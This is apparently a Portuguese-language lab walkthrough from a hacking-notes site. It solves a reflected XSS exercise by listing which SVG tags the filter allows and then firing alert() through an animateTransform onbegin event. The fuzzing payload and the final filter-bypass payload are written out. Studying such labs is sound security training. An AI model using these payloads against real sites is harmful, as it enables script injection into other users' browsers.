> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/xss/reflected-xss-with-svg-tags-allowed.md).

# XSS Refletido com Tags SVG Permitidas

### XSS refletido com alguma marcação SVG permitida

Vulnerabilidade de XSS Pense simples. A aplicação bloqueia tags HTML comuns, mas permite a passagem de algumas tags SVG e certos atributos/eventos. Objetivo: disparar `alert()` por meio de uma tag SVG.

<figure><img src="/files/3a27f9e77f279223f47ecbc7fb03647404be2d89" alt=""><figcaption></figcaption></figure>

* Tags HTML convencionais são bloqueadas.
* É feita uma enumeração aproximada das tags autorizadas.

<figure><img src="/files/1ae8f0ddc4b0cbb04b32a5c92504ff7aa9fbfb3b" alt=""><figcaption></figcaption></figure>

* Resposta do servidor / testes mostrando as tags encontradas: `animateTransform`, `image`, `svg`, `title`.

```javascript
<svg><animateTransform a=1>
<svg><animateTransform%20§a§=1>
```

* Testes sucessivos de inserção:
* `<svg><animateTransform a=1>` — inserção básica.
* tentativa de codificação / variação de espaço: `<svg><animateTransform%20a=1>` — para contornar a filtragem.
* O disponível `onbegin` evento pode ser encontrado em `animateTransform`.

<figure><img src="/files/bac3515459637f6bfe62b4ab6f94b4a2ea62ed8f" alt=""><figcaption></figcaption></figure>

```javascript
<svg><animateTransform onbegin=alert(0)></animateTransform></svg>
```

<figure><img src="/files/09f4f4b7c130faec85d924a87dc587d607e3da45" alt=""><figcaption></figcaption></figure>


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